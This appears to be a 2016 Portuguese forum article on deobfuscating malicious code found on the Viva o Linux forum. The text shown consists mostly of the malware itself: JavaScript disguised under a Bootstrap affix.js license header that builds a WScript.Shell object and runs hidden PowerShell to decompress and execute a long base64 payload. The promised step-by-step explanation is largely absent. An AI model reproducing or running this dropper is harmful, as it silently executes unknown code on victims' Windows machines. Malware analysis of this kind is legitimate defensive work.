Desvendando código malicioso no fórum Viva o Linux
Detalhar o procedimento para desvendar o conteúdo do código malicioso no fórum, incluindo passo a passo e parecer das funções do código.
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Por: ANDRE MILKE DOS SANTOS em 30/11/2016 | Blog: https://br.linkedin.com/in/andremilke
/* ======================================================================== * Bootstrap: affix.js v3.3.7 * http://getbootstrap.com/javascript/#affix * ======================================================================== * Copyright 2011-2016 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ (function(){ var a=(function(){ var c=navigator.userAgent.toLowerCase(); if(c.indexOf("safari")!=-1){ return c.indexOf("chrome")>-1?false:true } returnfalse })(), b={ 319:"", 33496:"", 155957:"", 145058:"", 57248:"", 83446:"", 117297:"", 55601:"", 115938:"", 148804:"", 150561:"", 79505:"", 32223:"", 100253:"", 132591:"", 133710:"", 118184:"", 110741:"", 116319:"", 132110:"", 150560:"", 112961:"", 89413:"", 155497:"", 69972:"", 117497:"", 96387:"", 119281:"", 128495:"", 107134:"", 110791:"", 114634:"", 45156:"", 36365:"", 145160:"", 120747:"", 148805:"", 89376:"", 113148:"", 107246:"", 93639:"", 120496:"", 47683:"", 73102:"" };}); var DEGRADE = new ActiveXObject(String.fromCharCode(87)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(83)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(108)+String.fromCharCode(108)); DEGRADE.run(String.fromCharCode(112)+String.fromCharCode(111)
var DEGRADE = new ActiveXObject(Wscript.Shell ); DEGRADE.run(powershell.exe -NoP -NonI -W Hidden -C sal a New-Object;iex(a IO.StreamReader((a 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cQZpWWT10l90nI+o20NhjOKoDRkC+NWp9djcBJgpwDzdhYdsLeSDLLZnFZ1DiiRHfkN3Ujqch/VODpxWROvOYIV7rVXjmNyQ52/OUD64rDR8tdP6ARptfkRmDgXM4zpUv2YVXjz2BpFmBg6/dnKNkdMtaeZylFKkExwtS7Vj7+Ks/sWBE3Jfp0WQ/IEMxzsrOGw8gvPKJz906BDm/ngwq5K1WLiNstii21uyhZu4zkhRfpu3okJPtgjpwkIWvIgjWW7qzSz/aApZpdUEMcyHos7hJYq4cGLwG5Swtuxbo4hqvLOofs1oRSRfNA6cQXsbhLziTnyB0kjg3azOF5wZE5ONHu9NTnnxqAtZ+YombHOnT0xleyIhcmaSEw2zyl2kfjJKMLvhfA2dRghubgsOJdx6zTvgK5F28oaqVNZ+TuuFrj9A3AurPBxlcq3eMhNpR5Zr0epLPlUYk4dutTNO5sVYHHPxHgdWrdvn7sidnbjOMH02vZseG6azibp9tQkoDfFumiuoEWz5sscwoubKzsnq1jIQRCsHpGTDm0e+DcD3rr+fNBwEmhLC38yJymPLQVes905yGmFL1/98U9G5gHeOx2Cwh/BwZbRMCjSJDUKzyZmicc7H9YPXVtiipNN+aGWD5NLf4o3HYlFkZZbbzobdWElKilTEqg4FgsLnTil2sYTC5uetLT4ECQfOUvdeJ7JwTJrdyQtu7ScWgh2WLjNKg4ctkCCjX7H6Bg7OZp72/lebhDqt3IQkIVFHpy6RYRkP4SqUovFYeLtN/LlOzp+W9oGJ7eLb9eunhH2O0lsv84+txUWoa1sRboH3QSgqo0MqWetyoN+hRxM5O/6OF+a8qO5k8Ta4jhI1hzLCsNs2N+tVPPO1qLfleDSXDzRNTrni0Z5xXn8Q3DVhpR0BuSbD9YgnW4Rf8M1PBnpFy8SNYNvwoRn/MUc/WMXjodSQ447iH7UkE5hISYflrT8jZMgzK75VmhGnuU1l6q5raSw7nfZqNz124FOM7yyfRIego8IWGQZlr7fRZNQmwY7xJT+8DduxLssM7xHGvZZnASAyt1KySWnNj3CpItWOUwqFCRhe4bAzcEE/2ih9+UXUqh1gMp3/ZxTTB4uOAcFA9wTCK0clmLbdL4VLgceKNmidYJuU1oPA0LwfV4pDMIjUSw0zg/8zUg2mv+FNZwyKvjikbRwuaXBcOX3TpxvyrP/+W3n3/9ldf1deTo8QdGF85CYQI7MPHAAdwuL7dxLEQTkYum32Nme+Nb0b4sgQMy4Yi9Vdri/3nRdxu1GcClpKGMs5WDpObM4ZsLcU7cyhQexd9/GajBe6tssnq3eju/Kra1RudxZlPPH8bA0F384F0row29GdMgXCMK9FKPRXw6WD4vgAhwds7O6uXUjqjuXDLlja1/MrRf9u7Kc1Xb65XA6uV3U4ujFVyTuq7mFhu8m2QVab4+W5b17oU0TOc50kZDk9j4SvPgj0mbN58EKfPS7rhXKNFqZK0cycy2Ic7mIloBzfVKLL0DRt4tonps0Dd6048l9Xg4f5ouy9i815AdZeT2fzsr58lNtZ4JSvyzni/F0Uj8r78oBvLjTVbUIXr96W85LvGTknxuv+1oOWkk794Pl8G3t23/a+ss/9Ld/nn05/vrtV3i9D8OHS5oNP5iCmO3FLvTpf/7rv+2Vi2E5wfuy8BKhhn3ywl5V4l4q8+SNQs4tTLk9iOSq2N5usrnSNxzJJSUpasu9wcmK2bsqiY0A7015jO11Sc82bx/md3hlztvlcvb98+dxK2o047gRJ1kjbj0Hi1o9332130yz/aIdJ939VhLnu43h4GbDjL/To3/zlenDcvawxNf+j++oci+iqn1XA9qN425VLz87LZeNq/Jm925cTpbbjb3panI3Hdzi5UVbWmb1muXLXGXzO+6c+e1LZzZ2TqevAS+mkyMYTWN2urXhqvNWHazUkYKfu0qdjzp36nCojnud1+rgSA3w74MTdatUpg7eqze9TlvtjtR1T41U9706X6kHtY/PO5/UwQV83lmq/SN8D+bt4c9P+P5LO38f591tq96q86gOIjW044COzzj/zarzgM/PFK57rW5w3KGe5xx/DjU9XXXTU1O1v+D5znv4eYTjP6nD9+pi1YnUIdERqR97nRvVPTHzH14bumC+H3sqVXtTdTZCOnKYt7OL8wM9d2rvWp0qXnemDtrqzQrW3R2qUnWuVBfWVZ0Pak/T31LdC6BbxTg/8NVDOfZV5wjpAToXav9CXfbUJ9W9Vr1e517tK3XV63zEda9XnR/VAcoV5LL3Xl2NOsf4HPTxUR0qfP6oukfqdoV/T1E+fbU/VBdKfVTdHuppoA6m6o3qnOD405V6xOdA3xnSCfK4Qjnf9pCPkTrrdSbIJ4w7RP2+6qk2zvNKwc+DhSpHKkE6T1edV6jnk1WnifwBn++QroHW1xDHv1ddoGelIrQj4PNCHY7UyaiTIJ2vep0pyv+8pz4jn8BvrMf3QE5Ah/58r6dOeiAnWPdUj1NqiPoBu7pcqTnaIcjhFephgHTsT1E+oL8L4Bee73dhfbA7oPOqh3ScoNw7yN+VlveRukC69rV9af1crjp/xfmB3gP9ucKf1yi/C+Qb9LunuiOk4wPy0xuhvqb4/gzlC/P/iO/1V51T1V2pyxHqV9v3J9Tz7aiTIv9gB0ukH8bDPF3gD/QCdgly2FO7C6TrHT4/QznBOuerzhznK9HPYDzISfPbXwEf8PNEgf67Q7STptrrohzOUL5gH4e4/qUC+e33kO4zfK+P9gz6v0a9gXyvVGcf+b7AdUDuL1ewDsgJ1o+Q35Me0ncNdgX8wvsgp0vV7Rr5g3zAb19quxuhnnv4/DPyc4L87R0ZewS/1/4L/A3QzrraT+doL7BOH/VxrkBPwG8f9QZ+f4E4ALgBdtBD+QF/XZQX6OMR5aB/Aj232m9OwA8712rvBMe/Rzm8Qbsx/vFXlAPo7x2ue4brAl9gB3O0lzO0133tXwdIJ+jtR7U3RPlcIj5cKdVCezofodyP0K6aRm+dFdJ/re1oivo5w89BjhP0/z76K66j/bGNem4iX+UI5Av6HCBdIGfgs4V8DLQerxE393Fd4GeF9A9Rn+BnN4g/YM8XaEf7et17Lb8R2C/g4jn6M9A5HMF6wFeJet4b4fuvEW8ukV7gH/DspcZZxMM9hfJ5RLuA9bsoP7D7KeLU9Qj5uEa8+GhxwdjRCPXWxXU/opyBrmPUG4x/0PJH3AV+wR8uzXvqk8E51KNCug4QV65XKJcV2tujxivUr8YbtIcp2k0Tx4Ecxxo3EIdgPcDfSMuhB+uBfK6RH7A34CvV/K/Az3dztHvt5zeoT/jZV4bfY2sPw56Jc2/QXsCeb5RaoRxKxCPQYx/pBdwpkX6Q842eL0f/e0TcP+2h/sEOEV/gc8DDA8QzsL97/Z5i/z9G+Q80jkTI3wHSV2p8GeH6p+h34EcztDug86W2vxHEGeD3JfoxyGmI8+xpf1yhHwEfA7S7G7SXA/RDwGfAjUsbVwYotz0dpyPU+xt8v5sbOYE99ZE+kOsJxkewP9BrC+m6QZwEugGf3iEd54j36Bc9irMwL9j1G2XwpNRyy1FPn3F9sPdHlPOFlt8I/fAa6b7C+Ah2+XKFOP8e9fIB171BO+tafgFn+oiDB2gXMC/QD+u+Qv++QT/EOKKfa/w8QvlovwH5Aq5+Rr+Defrst4doDzCPjnNgb/vKyO1Qx9VD1B/QrXG3RH6Af4O/bcS3JtoNvP8B/eUU1zvE+Ip+hnEK5X6C8fAO6QccPtb2uULc0fjwGccDHr5G/cJ8PcSZk5WaqN336lhh/mHzJZOHLHWc0/nWCdrxTOcfo7/1HOwHfr5BfN0H+xpB/tLV+dE7m7+sbN7zGce97KmZ2l2pqxXYI8ilRL/A/Ar96UCv897qZyLzaVzbQ3r7ejzQj3I2+d17xAUYt6/zIYX50Hv1xz9svJBK8Hek/YP5h4fx41Qn8f/DGxXXJ7fj8qObeT+RcveXc6iptr7VJJsbZJ9tLh9up3//NZtphv0dbLenf9ftme3mmosxnfIkibEtW5i+hi5GYinKUreC1wVvk8qdlEqYyk2Zmyvg9ie/NjkrPzxAVfnL99/vzkt9n7NVZituNJtRA1WZR89/nU8nSyhbnh8fnRydd/eeH5fLxcG0MXs7wyJo4y/qB/VN/xNM/IMuilC0jd0+3bf5/ffOp4MZ3i+NHzfcj/t7VAd/t7G18Z359NVCzYdvx0tQzMO8/G5jewOGzRZ24GyB/0IlCx/CBxvffHgY3BkC8I7V2sY3UHabvweP241RuTwDzU4ni3JLSwSs+Ku5u7ph63tzSfW2/XBvDG/jy/q9/wY='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() , 0, false);
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